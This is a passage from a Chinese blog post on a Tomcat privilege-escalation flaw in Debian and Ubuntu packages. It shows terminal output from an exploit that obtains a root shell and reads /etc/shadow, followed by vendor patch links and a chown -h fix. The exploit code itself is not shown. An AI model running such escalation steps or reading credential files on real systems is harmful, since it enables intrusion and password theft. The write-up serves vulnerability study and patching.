  37. Please tell me you're seeing this too ;)
  38. [+] Executing the rootshell /tmp/tomcatrootsh now!
  39. tomcatrootsh-4.3# id
  40. uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)
  41. tomcatrootsh-4.3# whoami
  42. root
  43. tomcatrootsh-4.3# head -n3 /etc/shadow
  44. root:$6$oaf[cut]:16912:0:99999:7:::
  45. daemon:*:16912:0:99999:7:::
  46. bin:*:16912:0:99999:7:::
  47. tomcatrootsh-4.3# exit
  48. exit

修复建议

   目前,Debian、Ubuntu等相关操作系统厂商已修复并更新受影响的Tomcat安装包。受影响用户可采取以下解决方案:

    1、更新Tomcat服务器版本:
    (1)针对Ubuntu公告链接
http://www.ubuntu.com/usn/usn-3081-1/
    (2)针对Debian公告链接
https://lists.debian.org/debian-security-announce/2016/msg00249.html
https://www.debian.org/security/2016/dsa-3669
https://www.debian.org/security/2016/dsa-3670
    2、加入-h参数防止其他文件所有者被更改,即更改Tomcat的启动脚本为:
chown -h $TOMCAT6_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out

参考链接

CVE-2019-0232漏洞复现_whh6tl的博客-CSDN博客_cve-2019-0232

(CVE-2020-1938)Apache Tomcat远程代码执行漏洞复现_whh6tl的博客-CSDN博客

Tomcat Session(CVE-2020-9484)反序列化漏洞复现_白冷的博客-CSDN博客_cve-2020-9484

Tomcat反序列化漏洞(CVE-2016-8735) - 墨鱼菜鸡 - 博客园

https://i4t.com/1545.html

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/爱喝兽奶帝天荒/article/detail/1005790
推荐阅读
相关标签
  

闽ICP备14008679号